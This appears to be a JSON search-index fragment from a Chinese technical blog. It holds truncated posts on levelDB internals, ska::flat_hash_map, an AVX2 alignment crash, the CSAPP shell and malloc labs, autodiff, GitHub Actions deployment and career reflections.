两个std::any 都为空 两个std::any包含的值相等 两种情况符合一种即可认为相等 std::any overhead # Implementations are encouraged to avoid dynamic allocations for small objects, but such an optimization may only be applied to types for which std::is_nothrow_","date":"2022-03-05","externalUrl":null,"permalink":"/2022/03/std-any-notes/","section":"Posts","summary":"背景 # 一种很常见的背景是，需要表示未知类型的数据。 比如可能是用户提供的数据，比如是一个Cache的实现， value想支持任意类型的数据","tags":["cpp","modern cpp","std::any"],"title":"[c++17] std::any 笔记","type":"post"},{"categories":["工程"],"content":"levelDB是一个有序的KV存储，因此key的顺序是十分关键的 levelDB提供用户自己定义key顺序的能力 先看下comparator的接口 接口 include/leveldb/comparator.h # 1 2// A Comparator object provides a total order across slices that are 3// used as keys in an sstable or a database. A Comparator implementation 4// must be thread-safe since leveldb may invoke its methods concurrently 5// from multiple threads. 6class LEVELDB_EXPORT Comparator { 7 public: 8 virtual ~Comparator(); 9 10 // Three-way comparison. Returns value: 11 // \u003c 0 iff \"a\" \u003c \"b\", 12 // == 0 iff \"a\" == \"b\", 13 // \u003e 0 iff \"a\" \u003e \"b\" 14 virtual int Compare(const Slice\u0026 a, const Slice\u0026 b) const = 0; 15 16 // The name of the comparator. Used to check for comparator 17 // mismatches (i.e., a DB created with one comparator is 18 // accessed using a different comparator. 19 // 20 // The client of this package should switch to a new name whenever 21 // the comparator implementation changes in a way that will cause 22 // the relative ordering of any two keys to change. 23 // 24 // Names starting with \"leveldb.\" are reserved and should not be used 25 // by any clients of this package. 26 virtual const char* Name() const = 0; 27 28 // Advanced functions: these are used to reduce the space requirements 29 // for internal data structures like index blocks. 30 31 // If *start \u003c limit, changes *start to a short string in [start,limit). 32 // Simple comparator implementations may return with *start unchanged, 33 // i.e., an implementation of this method that does nothing is correct. 34 virtual void FindShortestSeparator(std::string* start, 35 const Slice\u0026 limit) const = 0; 36 37 // Changes *key to a short string \u003e= *key. 38 // Simple comparator implementations may return with *key unchanged, 39 // i.e., an implementation of this method that does nothing is correct. 40 virtual v","date":"2022-03-01","externalUrl":null,"permalink":"/2022/03/leveldb-notes-02/","section":"Posts","summary":"levelDB是一个有序的KV存储，因此key的顺序是十分关键的 levelDB提供用户自己定义key顺序的能力","tags":["leveldb"],"title":"levelDB 代码阅读笔记 02 comparator","type":"post"},{"categories":["工程"],"content":"背景 # 最近在做一个智能算力相关的项目，类似美团外卖广告智能算力的探索与实践 其中实现控制系统需要与数据库交互。 虽然最后技术选型并没有使用到levelDB,但是想趁机把代码读了吧。 很惊讶的发现我大三的时候声称自己读过部分levelDB代码，甚至还写了几篇相关的博客，比如 murmurhash 源码分析 Lock-free vs wait-free concurrency 内存屏障（Memory Barriers） levelDB 学习笔记 但是我却一点都没印象了…. 仔细看来很多概念在当时可能都是没有充分理解的，而且从数目上来看，应该并没有完整看完levelDB代码。 所以重新开个坑，看看自己比起毕业前有没有长进【没有 先从入口 include/leveldb/db.h 开始 LEVELDB_EXPORT # 看到LEVELDB_EXPORT这个macro 1 2class LEVELDB_EXPORT Snapshot { 3 protected: 4 virtual ~Snapshot(); 5}; 是在 include/leveldb/export.h 中定义的 1 2// 符号可见性问题，使用macro来控制在编译成动态库时暴露，在Link时不暴露符号是一种common 的做法 3// 4#if !defined(LEVELDB_EXPORT) 5 6#if defined(LEVELDB_SHARED_LIBRARY) 7#if defined(_WIN32) 8 9#if defined(LEVELDB_COMPILE_LIBRARY) 10#define LEVELDB_EXPORT __declspec(dllexport) 11#else 12#define LEVELDB_EXPORT __declspec(dllimport) 13#endif // defined(LEVELDB_COMPILE_LIBRARY) 14 15#else // defined(_WIN32) 16#if defined(LEVELDB_COMPILE_LIBRARY) 17#define LEVELDB_EXPORT __attribute__((visibility(\"default\"))) 18#else 19#define LEVELDB_EXPORT 20#endif 21#endif // defined(_WIN32) 22 23#else // defined(LEVELDB_SHARED_LIBRARY) 24#define LEVELDB_EXPORT 25#endif 26 27#endif // !defined(LEVELDB_EXPORT) 28 29#endif // STORAGE_LEVELDB_INCLUDE_EXPORT_H_ 通常在编译为动态链接库时，需要将某些符号设置为可见； 在link 这些动态库时，将这些符号设置为hidden because the same header file is generally used both when compiling the DLL and in client code that consumes the DLL’s interface, it is a common pattern to define a macro that automatically resolves to the appropriate attribute specifier at compile-time 可以参考 what does __declspec(dllimport) really mean? gcc-wiki-Why is the new C++ visibility support so useful? 记录一次因动态库符号表可见性导致的未定义的引用(undefined reference) slice # 代码位于include/leveldb/slice.h 可以参考 这里的说明 Slice 基本就是一个简单版本的std::string_view,提供一个只读的窗口 与std::string_view相似, Slice的生命周期依赖于外部数据的生","date":"2022-02-26","externalUrl":null,"permalink":"/2022/02/leveldb-notes-01/","section":"Posts","summary":"背景 # 最近在做一个智能算力相关的项目，类似美团外卖广告智能算力的探索与实践 其中实现控制系统需要与数据库交互。 虽然最后技术选型并没有使用到levelDB,但是想趁机把代码读了吧。","tags":["leveldb"],"title":"levelDB 代码阅读笔记 01 db.h","type":"post"},{"categories":["随笔杂谈"],"content":"竟然一下子就2022年了，时间过得真快。 还是简单列一下TODO list吧。 源码 # levelDB workflow 书籍 # APUE # Advanced Programming in the UNIX Environment, 3rd Edition 粗略读完了，内容非常多，更像是一个手册。需要的时候再细读即可 Redis 深度历险：核心原理与应用实践 # Redis 深度历险：核心原理与应用实践 豆瓣评分比较好，但是看到有些差评说是书很烂，都是刷分刷上去的。 抱着实践出真知的态度花了两个小时粗略看了下，感觉要深度没深度，也不适合入门，全篇缺少逻辑性，基本是想到哪写道到哪。 千万不要浪费时间读 DDIA # TODO paper # Bigtable: A Distributed Storage System for Structured Data # 课程 # 乔新亮的CTO成长复盘 # 其实这些年很少看非技术课程/书籍了，觉得都过于务虚 不过这门课还算很有收获，课程没什么理论，全部都是乔老师个人成长的复盘 以及，语音是乔老师本人，听起来很有感染力 产品思维，要把自己作为一个产品来打造 关心个人成长，不必过于在意薪资 需求永远做不完，focus在最优先的事情上 管理者最重要的三个任务: 组织协调到位、加强协同效率、激发团队活力","date":"2022-02-26","externalUrl":null,"permalink":"/2022/02/2022-to-do-list/","section":"Posts","summary":"竟然一下子就2022年了，时间过得真快。 还是简单列一下TODO list吧。","tags":["todo","随笔杂谈"],"title":"2022  TO DO list","type":"post"},{"categories":["其他"],"content":"博客要长草了。。趁着过年时间多，打理一下。。 添加google analytics # hugo本身已经集成了这个功能 要点是集成的是旧版本的universal analytics (对应的是UA-ID) 而目前google主推得其实是新版本google analytics 4(对应的是GA4-ID) 更换主题 # 更换主题为 hugo-clarity 最主要的原因是之前的博客主题语法高亮有些问题… cpp中代码添加了注释后，会将代码显示在注释的同一行 proto文件不能正确换行 所以换了个可以正确解析语法的主题… 问题1 # github actions执行正常，访问渲染好的页面提示 1 2This page contains the following errors: 3error on line 50 at column 394: PCDATA invalid Char value 8 最终发现原因是没有清除掉旧theme的 git submodule 清除后问题解决 同时更新了一下github actions中 hugo的版本为extented版本 问题2 # algolia 更新报错，似乎是json文件没生成。 由于搜索功能使用频率也不太高，暂时禁止掉 1 - name: upload algolia data 2 uses: actions/setup-node@v2 3 with: 4 node-version: '12' 5 - run: npm run algolia 问题3 # 图片无法显示，提示\"error not found\" 目测是blog的一个bug,已经提了issue 暂时fork了一份，修改了代码绕过去 故障修复 #","date":"2022-02-02","externalUrl":null,"permalink":"/2022/02/better-blog/","section":"Posts","summary":"博客要长草了。。趁着过年时间多，打理一下。。 添加google analytics # hugo本身已经集成了这个功能 要点是集成的是旧版本的universal analytics (对应的是UA-ID) 而目前google主推得其实是新版本google analytics 4(对应的是GA4-ID)","tags":["hugo"],"title":"博客除草","type":"post"},{"categories":["优化","工程"],"content":"背景 # 最近在调研各种hashmap.. 发现ska::flat hash map性能优秀。。于是来看看代码。。 发现最大的特点是,ska::flat_hash_map使用了带probe count上限的robin hood hashing 相关概念 # Distance_from_desired # 对于采用了open addressing的hash实现，当插入发生冲突时，会以一定方式(如线性探测、平方探测等)来探测下一个可以插入的slot. 因而实际插入的slot位置与理想的slot位置通常不相同，这段距离定义为distance_from_desired 在没有冲突的理想情况下，所有distance_from_desired的值应该都为0 distance_from_desired的一种更常见的说法叫做probe sequence lengths(PSL) robin hood hashing # robin hood hashing的核心思想是\"劫富济贫\" distance_from_desired小的slot被认为更\"富有\"，distance_from_desired大的slot被认为更\"贫穷\" 具体来说，当去插入一个新的元素时，如果当前位置的元素的distance_from_desired要比待插入元素的distance_from_desired要小，那么就将待插入元素放入当前位置，将当前位置的元素取出，寻找一个新的位置。 这样做使得所有元素的distance_from_desired的分布更为平均，variance更小。 这样的分布对cache更友好（几乎全部元素distance_from_desired都小于一个cache line的长度，因此在find的时候只需要fetch一次cache line），从而拥有更好的性能。 一般的robin hashing 在find时，一般用一个全局的最大distance_from_desired作为没有找到该元素终止条件。 一种常见的改进是,不维护全局最大distance_from_desired,而是在看到当前位置元素的distance_from_desired比要插入的元素的distance_from_desired小时终止。 1 2 iterator find(const FindKey\u0026 key) { 3 size_t index = 4 hash_policy.index_for_hash(hash_object(key), num_slots_minus_one); 5 EntryPointer it = entries + ptrdiff_t(index); 6 for (int8_t distance = 0; it-\u003edistance_from_desired \u003e= distance; 7 ++distance, ++it) { 8 if (compares_equal(key, it-\u003evalue)) return {it}; 9 } 10 return end(); 11 } 带上限的robin hashing # 一般的robin hashing在insert时，会不断进行寻找(包括了可能的swap过程)，直到找到一个空的slot为止。该过程在hash table较满时可能接近线性的时间复杂度。 ska::flat_hash_map对这一点的改进是，限制了insert时尝试的上限次数，作者给出的经验值为log(N),其中N为slots的个数。 这样保证每个slot的最大distance_from_desired不会超过log(N) 关键实现 # emplace # 插入一个元素 分析见注释 其中emplace 函数主要是查找是否已经存在该元素+调整到合适的插入位置 emplace_new_key函数执行真正的emplace操作 1 template \u003ctypename Key, typename... Args\u003e 2 std::pair\u003citerator, bool\u003e emplace(Key\u0026\u0026 key, Args\u0026\u0026... args) { 3 size_t index = 4 hash_policy.index_for_hash(hash_object(k","date":"2021-08-21","externalUrl":null,"permalink":"/2021/08/ska_flat_hash_map_notes/","section":"Posts","summary":"背景 # 最近在调研各种hashmap.. 发现ska::flat hash map性能优秀。。于是来看看代码。。 发现最大的特点是,ska::flat_hash_map使用了带probe count上限的robin hood hashing","tags":["hash map"],"title":"ska::flat_hash_map 源码分析","type":"post"},{"categories":["优化","工程"],"content":"背景 # 起因是同事在实现int4的功能，结果流水线有一条死活过不了(gcc版本为4.8.5),一直core dump 经过初步排查，找出了如下最小可以复现的代码: 1 2#include \u003cimmintrin.h\u003e 3 4class Test{ 5 public: 6 Test(){ 7 tmp = _mm256_set_epi32(0,0,0,0,0,0,0,0); 8 } 9 private: 10 __m256i tmp; 11}; 12int main(){ 13 auto *tmp = new Test(); 14 return 0; 15} gcc版本为4.8.5 其中编译选项为 1g++ -std=c++11 -mavx2 a.cpp 现象为会core在 tmp = _mm256_set_epi32(0,0,0,0,0,0,0,0); 但是同样的代码，同样的编译选项，在gcc7.3上就不会发生core的问题。 初步排查 # 查看汇编代码,gcc4.8.5生成的如下: 1 2main: 3 push rbp 4 mov rbp, rsp 5 mov edi, 32 6 call operator new(unsigned long) 7 vpxor xmm0, xmm0, xmm0 8 vmovdqa YMMWORD PTR [rax], ymm0 9 mov eax, 0 10 pop rbp 11 ret 12 链接在这里 然而在gcc7.3下，生成的汇编代码如下: 1 2main: 3 push rbp 4 mov rbp, rsp 5 push r10 6 sub rsp, 8 7 mov esi, 32 8 mov edi, 32 9 call operator new(unsigned long, std::align_val_t) 10 vpxor xmm0, xmm0, xmm0 11 vmovdqa YMMWORD PTR [rax], ymm0 12 mov eax, 0 13 add rsp, 8 14 pop r10 15 pop rbp 16 ret 链接在这里 发现调用的new operator竟然不是同一个。-std=c++17下带了一个类型为 std::align_val_t的参数 同时观察到，如果不用new来创建Object, 也不会发生core dump 此时基本确定，问题和new有关。 new的对齐规则 # 然后在公司大佬的指引下，看到了-faligned-new -faligned-new Enable support for C++17 new of types that require more alignment than void* ::operator new(std::size_t) provides. A numeric argument such as -faligned-new=32 can be used to specify how much alignment (in bytes) is provided by that function, but few users will need to override the default of alignof(std::max_align_t). This flag is enabled by default for -std=c++17. 这个参数的作用其实是用来设置 1__STDCPP_DEFAULT_NEW_ALIGNMENT__ 这个值默认为“alignof(std::max_align_t)” 可以用如下代码来验证: 1#include \u003cimmintrin.h\u003e 2#include \u003ciostream\u003e 3 4class Test{ 5 public: 6 Test(){ 7 tmp = _mm256_set_epi32(0,0,0,0,0,0,0,0); 8 } 9 private: 10 __m256i tmp; 11}; 12int main(){ 13 auto *tmp = new Test(); 14 std::cout\u003c\u003c__STDCPP_DEFAULT_NEW_ALIGNMENT__","date":"2021-07-22","externalUrl":null,"permalink":"/2021/07/core-dump-on-gcc-4-with-avx2/","section":"Posts","summary":"背景 # 起因是同事在实现int4的功能，结果流水线有一条死活过不了(gcc版本为4.8.5),一直core dump 经过初步排查，找出了如下最小可以复现的代码:","tags":["simd","avx"],"title":"一次avx2在gcc上core dump的排查经历","type":"post"},{"categories":["mooc"],"content":"背景 # 动手实现一个简单的Lab，主要依赖于课本第八章的内容 感觉主要是05比较难。。发现执行的顺序不太对。。原因是SIGCHLD里面waitpid参数没写对。。 后面的就相对简单了 累计大概花了10个小时的样子 实现细节 # built-in comamnd # built-in command 指的是shell自身的命令，因此只有少数几个，比如pwd.在上使用which pwd的时候，会提示\"pwd: shell built-in command\" 测试文件的构成 # 以trace04.txt举例 1# 2# trace04.txt - Run a background job. 3# 4/bin/echo -e tsh\u003e ./myspin 1 \\046 5./myspin 1 \u0026 这是两条测试命令。。第一条是调用了 “/bin/echo -e\"来执行，而且这条命令是一个fg job, \\046 是’\u0026‘的ascii，这是输出字符串的一部分。 子进程中的log打印不正确 # 有些执行路径的log没有打印出来 可以调用flush(stdout) 确保打印 在执行fg job的时候，会等待上一个未结束的bg job执行 # 这是因为waitpid中的option写了默认的0，没有传入正确的option导致的 SIGCHLD的实现 # 感觉这个函数是整个Lab的难点 注意这里除了要对正常结束的process处理以外，也要处理因为其他原因导致的进程退出 可以根据下图的内容来判断是因为哪种原因进程结束的 这段调了好久。。虽然书上已经讲了比较多的情况。。。不过还是觉得略难 1void sigchld_handler(int sig) { 2 int olderrno = errno; 3 sigset_t mask_all, prev_all; 4 pid_t pid; 5 int status; 6 Sigfillset(\u0026mask_all); 7 8 while ((pid = waitpid(-1, \u0026status, WNOHANG | WUNTRACED)) \u003e 0) { 9 if (WIFEXITED(status)) { 10 Sigprocmask(SIG_BLOCK, \u0026mask_all, \u0026prev_all); 11 deletejob(jobs, pid); 12 Sigprocmask(SIG_SETMASK, \u0026prev_all, NULL); 13 } else if (WIFSIGNALED(status)) { 14 printf(\"Job (%d) [%d] terminated by signal %d\\n\", 15 pid2jid(pid), pid, WTERMSIG(status)); 16 Sigprocmask(SIG_BLOCK, \u0026mask_all, \u0026prev_all); 17 18 deletejob(jobs, pid); 19 Sigprocmask(SIG_SETMASK, \u0026prev_all, NULL); 20 } else if (WIFSTOPPED(status)) { 21 printf(\"Job (%d) [%d] stopped by signal %d\\n\", 22 pid2jid(pid), pid, WSTOPSIG(status)); 23 struct job_t* job = getjobpid(jobs, pid); 24 if (job != NULL) { 25 job-\u003estate = ST; 26 } 27 } 28 } 29 errno = olderrno; 30} do_bgfg # 一开始可能会有些纠结。。怎么转换bg和fg呢。。 实际上直接改变state就好了 所谓bg job还是 fg job，其实区别就在于当前process要不要等其结束。。并没有什么本质区别 1void do_bgfg(char** argv) { 2 char* cmd = argv[0]; 3 char* id = argv[1]; 4 if (id == NULL) { 5 printf(\"%s command requires PID or %%jobid","date":"2021-06-26","externalUrl":null,"permalink":"/2021/06/csapp-shelllab/","section":"Posts","summary":"背景 # 动手实现一个简单的Lab，主要依赖于课本第八章的内容 感觉主要是05比较难。。发现执行的顺序不太对。。原因是SIGCHLD里面waitpid参数没写对。。 后面的就相对简单了 累计大概花了10个小时的样子","tags":["CSAPP"],"title":"[施工完成] CSAPP shell lab","type":"post"},{"categories":["deep-learning","mooc"],"content":"背景 # 怎么算微分。。通常有三种方法。 Symbolic Differentiation Numerical Differentiation Automatic Differentiation (auto diff) auto diff中两种主流的方式分别是forward-mode和reverse-mode 由于forward-mode的方法中，计算的时间复杂度是O(n),n是输入的参数个数。而reverse-mode中，计算的时间复杂度是O(m),m是输出节点的个数。在dnn中，n往往很大，远大于m，因此这里主要介绍reverse-mode auto diff方法。 backprop和reverse mode auto diff的区别 # 看了reverse mode auto diff的过程，感觉和backprop是一回事呀。。。 实际上，backprop指的是训练神经网络根据loss的gradient来更新weight的过程，而auto diff是backprop使用的一个用来计算gradient的 technique. Bakpropagation refers to the whole process of training an artificial neural network using multiple backpropagation steps, each of which computes gradients and uses them to perform a Gradient Descent step. In contrast, reverse-mode auto diff is simply a technique used to compute gradients efficiently and it happens to be used by backpropagation. chain rule # chain rule..也就是微积分里的链式法则 更准确的说，是多变量的chain rule 简单来说，就是同一条路径相乘，不同路径相加 MULTI-VARIABLE CHAIN RULE 可以参考 MULTI-VARIABLE CHAIN RULE 实现 # 放一个CSE 599W Systems for ML 课程的assigment 1，比较简单，只有add,mul,matmul这几个算子。（因为重点并不在于支持算子的种类) 需要实现几个算子的forward和梯度的计算。。这部分比较好写。。 然后需要实现executor的run函数。。做个拓扑排序然后计算即可。。 1 def run(self, feed_dict): 2 \"\"\"Computes values of nodes in eval_node_list given computation graph. 3 Parameters 4 ---------- 5 feed_dict: list of variable nodes whose values are supplied by user. 6 7 Returns 8 ------- 9 A list of values for nodes in eval_node_list. 10 \"\"\" 11 node_to_val_map = dict(feed_dict) 12 print(\"self.eval_node_list={}\".format(self.eval_node_list)) 13 # Traverse graph in topological sort order and compute values for all nodes. 14 topo_order = find_topo_sort(self.eval_node_list) 15 # 按照拓扑排序的顺序来计算，保证计算当前节点的值时，其依赖的值都计算出来了。 16 \"\"\"TODO: Your code here\"\"\" 17 for node in topo_order: 18 if isinstance(node.op, PlaceholderOp): 19 continue 20 # 在实际计算的时候，要用具体","date":"2021-04-05","externalUrl":null,"permalink":"/2021/04/reverse-mode-autodiff/","section":"Posts","summary":"背景 # 怎么算微分。。通常有三种方法。","tags":["DL-SYS","CSE599W"],"title":"(CSE 599W)Reverse Mode Autodiff","type":"post"},{"categories":["mooc"],"content":"背景 # 动手实现一个memory allocator,体会core到爆炸的乐趣(不是 trace file 结构分析 # trace file 是对allocator的输入的描述，可以从mdriver.c中的 1static trace_t *read_trace(char *tracedir, char *filename); 看到Parse的逻辑，从而得到trace file的结构。 1 fscanf(tracefile, \"%d\", \u0026(trace-\u003esugg_heapsize)); /* not used */ 2 fscanf(tracefile, \"%d\", \u0026(trace-\u003enum_ids)); 3 // 似乎只有num_ops用到了。。 4 fscanf(tracefile, \"%d\", \u0026(trace-\u003enum_ops)); 5 fscanf(tracefile, \"%d\", \u0026(trace-\u003eweight)); /* not used */ trace file起始位置的4个数的含义，其中第二个和第三个比较重要。 num_ids表示一共有多少个不同的内存块(对应后续的指令可以显示指定操作哪个内存块，从而确保allocator对malloc和free的顺序没有任何依赖的保证)，num_ops表示操作数，也就是malloc(对应’a’),realloc(对应’r’),free(对应’f’)三种操作的个数。 1 while (fscanf(tracefile, \"%s\", type) != EOF) { 2 switch (type[0]) { 3 case 'a': 4 fscanf(tracefile, \"%u %u\", \u0026index, \u0026size); 5 trace-\u003eops[op_index].type = ALLOC; 6 trace-\u003eops[op_index].index = index; 7 trace-\u003eops[op_index].size = size; 8 max_index = (index \u003e max_index) ? index : max_index; 9 break; 10 case 'r': 11 fscanf(tracefile, \"%u %u\", \u0026index, \u0026size); 12 trace-\u003eops[op_index].type = REALLOC; 13 trace-\u003eops[op_index].index = index; 14 trace-\u003eops[op_index].size = size; 15 max_index = (index \u003e max_index) ? index : max_index; 16 break; 17 case 'f': 18 fscanf(tracefile, \"%ud\", \u0026index); 19 trace-\u003eops[op_index].type = FREE; 20 trace-\u003eops[op_index].index = index; 21 break; 22 default: 23 printf(\"Bogus type character (%c) in tracefile %s\\n\", type[0], path); 24 exit(1); 25 } 26 op_index++; 27 } 对于每一个操作，如果是malloc/relloc, 后面两个参数分别表示操作几号内存块，以及需要分配的内存大小是多少。如果是free,则只有一个参数，表示要操作几号内存块 implicit free list # 这种也就是CS:APP3e text中着重描述的那种，补充了一些checker逻辑，放在这里作为baseline 结构图如下: 这种是带一个boundary tag的，也就是一个footer. footer完全是header内容的副本。 这样做的好处是可以很容易从当前block找到上一个block,只需要常数复杂度的操作，否则需要O(n)复杂度整个遍历一遍。 对应的代价是有效载荷的比例变低了。 1 2int mm_init(void) { 3 /* Create the initial empty heap */ 4 if ((hea","date":"2021-03-14","externalUrl":null,"permalink":"/2021/04/csapp-malloclab/","section":"Posts","summary":"背景 # 动手实现一个memory allocator,体会core到爆炸的乐趣(不是","tags":["CSAPP"],"title":"[施工完成] CSAPP Malloc lab","type":"post"},{"categories":["deep-learning"],"content":"迫于生计，从今天开始学习推荐系统相关的内容，今天先来读一篇推荐系统领域的综述 Toward the next generation of recommender systems: a survey of the state-of-the-art and possible extensions 由于目前的工作其实是偏向推荐系统的serving,训练的开发，因此这些paper可能都是粗读，也不会把paper中的内容逐句翻译，而是找出我认为最为重要的一些概念加以记录。 INTRODUCTION # 推荐的问题简单可以归纳成对user未看见的item进行打分的过程，这个分一般称之为rating.有了rating,推荐前top k 个最好的rating给用户即可。 推荐系统的预测内容有两种不同的类别，一种是预测绝对的rating，另外一种是预测一个user对不同item的相对喜好，称为“preference- based recommender systems”. 本文只讲前者，也就是预测具体的rating数值 根据使用的方法不同，推荐系统又分为三类: 基于内容的推荐：user会被推荐与他之前喜欢的item相似的item 基于协同过滤的推荐: user会被推荐其他和该user品味相近的user喜欢的item 将上述两种方法结合在一起使用 基于内容的方法( Content-Based Methods ) # 常用在基于text内容的领域，可以用一些keyword来描述内容。具体做法是先拿到keyword的weight,然后基于这些weight来做推荐。计算keyword weight的方法中，比较有名的是 TF-IDF TF-IDF # tf–idf 是一个用来衡量一篇text中，每个keyword的重要性(或者叫weight)的方法。 从名字就可以看出，这个方法分为两部分。 tf和idf tf是\"term frequency\"的缩写，表示的是某个keyword在一篇text里的频率，也就是出现的次数除以所有字词出现的次数 idf是\"inverse document frequency\"的缩写，衡量的是某个keyword在语料库里的普遍性。越普遍，改指越小（比如结构助词\"的\"，几乎在每一个text里都会出现，那么idf值就会很小) tf和idf两部分都有一个公式来计算得到数值，tf-idf算法是将两个数值相乘起来，使得最终结果可以被这两部分影响。 tf-idf算法认为，某个keyword的tf值越高，idf越小，说明这个keyword对这篇text越重要。 直观地说,tf-idf的tf是保留高频重要词语，idf是将常见的词语去除的过程。 我们刚刚说tf-idf可以用来分析一个text(也就是item)中，每个Keyword的weight 那么实际上，tf-idf也可以用来分析对于一个user,每个keyword的weight 这样我们就得到了两个weight vector,分别表示每个keyword对一个user的重要性和每个keyword对一个item(text)的重要性 此时可以算一下两个向量的相似度，比如算个cos距离。 然后根据这个相似度进行推荐 缺点 # 非text-based的item不好提取feature top k keyword相同的两个item,不好区分 只会推荐之前打分过的item,使得推荐系统缺乏多样性 新用户的冷启动问题，推荐系统中没有新用户的喜好，导致无法做推荐 基于协同过滤的方法 # 找到和某个user taste类似的user group，然后将这个user group喜欢的item 推给这个user 根据使用的方法不同，通常分为两类:memory-based(or heuristic-based) and model-based。前者我更多的基于某个rule类做预测，后者是通过ML以及之后的DL方法来train 一个model,用这个model 做预测 由于可能需要计算任意两个user的相似度来判断taste,很多sys会先将任意两个user的相似度预处理出来。 虽然协同过滤的方法最初是用于计算user的相似度来做推荐，但是后面也有基于item的相似度来做推荐的方法，通常被写作\"user-based CF\"和\"i","date":"2021-01-23","externalUrl":null,"permalink":"/2020/01/toward-the-next-gen-of-recom-sys/","section":"Posts","summary":"迫于生计，从今天开始学习推荐系统相关的内容，今天先来读一篇推荐系统领域的综述 Toward the next generation of recommender systems: a survey of the state-of-the-art and possible extensions","tags":["推荐系统"],"title":"【推荐系统】Toward the Next Generation of Recommender Systems: A Survey of the State-of-the-Art and Possible Extensions","type":"post"},{"categories":["随笔杂谈"],"content":"目前我的博客是部署在github pages上，源码是一个repo,渲染出来的静态页面是一个repo. 更新的时候是把后者作为前者的submodule. 感觉这种方式有些落后了，简直和某司内部的平台有的一比。因此尝试采用了下github actions，来自动化这个部署的流程。 build github pages # 其实类似gitlab ci. 最开始我以为需要自己配置服务器，结果发现并不需要，直接用公用的就可以。 详细内容可以阅读github actions 遇到的主要问题其实是，在一个repo的github actions的pipeline 里推送到另外一个repo提示一些权限方面的错误。 解决的办法是配置下ssh key. 假设源码的repo称为A,渲染得到的静态页面的repo称为B 那么先生成一对ssh-key 然后在 A里，settings-\u003esecrets 添加一个secret,名称为\"ACTIONS_DEPLOY_KEY\"，内容为private key的内容 然后在B里，settings-\u003edeploy keys, 添加一个key,名称无所谓，内容为public key的内容 这样每次push到源码的repo A,就可以自动触发github actions,将静态页面推送到repo B.然后repo B 自动触发github pages机制 附一个github actions的配置文件 1# This is a basic workflow to help you get started with Actions 2 3name: CI 4 5# Controls when the action will run. 6on: 7 # Triggers the workflow on push or pull request events but only for the master branch 8 push: 9 branches: [ master ] 10 pull_request: 11 branches: [ master ] 12 13 # Allows you to run this workflow manually from the Actions tab 14 workflow_dispatch: 15 16# A workflow run is made up of one or more jobs that can run sequentially or in parallel 17jobs: 18 # This workflow contains a single job called \"build\" 19 build: 20 # The type of runner that the job will run on 21 runs-on: ubuntu-18.04 22 23 # Steps represent a sequence of tasks that will be executed as part of the job 24 steps: 25 # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it 26 - uses: actions/checkout@v1 27 with: 28 submodules: true 29 30 - name: Setup Hugo 31 uses: peaceiris/actions-hugo@v2 32 with: 33 hugo-version: '0.62.2' 34 35 36 # Runs a set of commands using the runners shell 37 - name: Run a multi-line script 38 run: | 39 git config --global user.email \"hust.111qqz@gmail.com\" 40 git config --global user.name \"111qqz\" 41 hugo --minify 42 - name: Deploy 4","date":"2021-01-23","externalUrl":null,"permalink":"/2020/01/using-github-actions-to-deploy-gh-pages/","section":"Posts","summary":"目前我的博客是部署在github pages上，源码是一个repo,渲染出来的静态页面是一个repo. 更新的时候是把后者作为前者的submodule. 感觉这种方式有些落后了，简直和某司内部的平台有的一比。因此尝试采用了下github actions，来自动化这个部署的流程。","tags":["github"],"title":"使用github actions来部署 github pages","type":"post"},{"categories":["随笔杂谈"],"content":"本来不知道写什么所以不打算写了，不过后来觉得可以把今年做的一些重大的决定写出来，把当时的分析和想法记录下来。这样若干年后再回看，就能找到，是哪些明智或愚蠢的决定，对人生产生了巨大的影响。 职业选择 # 在商汤待了1234天之后，还是离开了这个一毕业就在地方。新的岗位完全远离了cv方向，主要和推荐相关了。 在换工作方面其实一直特别迷茫，迷茫在我不知道我在商汤的岗位是在做什么。想起19年的时候，猎头都是先默认我是做cv算法的。当得知我虽然不是做算法研究的，就没兴趣聊了2333. 或者有些猎头会觉得，既然不是做算法研究的那就是做工程的了，那对后端一定很熟悉吧？ 我觉得这个也和行业内重刷点，轻落地的氛围有很大关系。 这个氛围感觉2020年有了很大好转，有很多拿着“算法工程”的岗位jd的猎头出现，聊起来都是说，客户暂时不需要能训模型的人，比较急需做算法工程的同学。这个时候就感觉，我做的内容终于配有一个岗位名字了2333. 也感觉到市场上对岗位的需求比之前旺盛了很多。 这里想起了一件趣事。一个关系比较好的猎头和我吐槽给b站招算法工程的人，找了好久也找不到合适的。然后看了下要求。。是在算法工程领域有五年以上经验。。。 我就拉着猎头小姐姐算了一下，2020年的五年前是2015年。 15年那个时候，大部分公司可能还没有组建算法团队，甚至后面还要经历过几年疯狂的刷点比拼。。。 甚至cv落地里面非常重要的TensorRT的前身GIE都还没有公布出来。。。 虽然感觉市场需求开始旺盛了。。但是基本没有考虑再去一个cv公司，只是用某友商练了个手。 原因是我觉得，这些公司有的和商汤半斤八两，有的还不如商汤。尤其是从规模和抗风险能力上。商汤遇到的问题在这些公司上可能都会有（除了盘子太大以至于太烧钱）。 出来面了一圈非cv创业公司发现，面试的岗位真的是奇奇怪怪，做什么的都有。有推我去做算子优化的（类似优化矩乘),有推我去做k8s服务调度的，稍显正常的其实就是做移动端推理框架和机器学习平台的了。被推到各种岗位其实不是什么好事，因为这说明没有什么岗位是完全匹配的。我觉得这主要是因为商汤的to B属性，和互联网公司的技术栈其实是有区别的。次要原因可能就是，cv在小的创业公司需求旺盛，但是在互联网公司好像真的有些鸡肋。面了一圈，只有一个做超市购物结算的美帝公司和某个友商面试问过我和cv相关的问题。 其实本来倾向于去字节的。。花了半年时间刷了700 leetcode。 可惜最初投的部门面试体验比较差，后面又约了另一个部门。。感觉完全不匹配。。。我再也不相信字节hr所谓的“很match”了。。。 之后先前面的鹅厂一直就在催答复。。感觉包裹也算有诚意。。做的事情也算比较理想。。。向朋友们打听了一圈。。给的评价都还可以。。。 尤其是被frog学姐强推。。就接了offer。。。 接了之后又被字节三个不同的部门捞了一遍。。。其中一个部门的hr说。。部门老大看了我的面评一定要聊一下。。。 那似乎面评中没有什么很糟糕的部分。。算是比较欣慰吧。。 有缘再见。 其他 # 毕业两年半，厉害的同学已经年薪百万了orz 虽然说当年读CS的时候就业还是红牌，也不是为了钱。但是财务上相对自由才能有更大的自由去做自己喜欢的事情吧。 所以还是挺羡慕 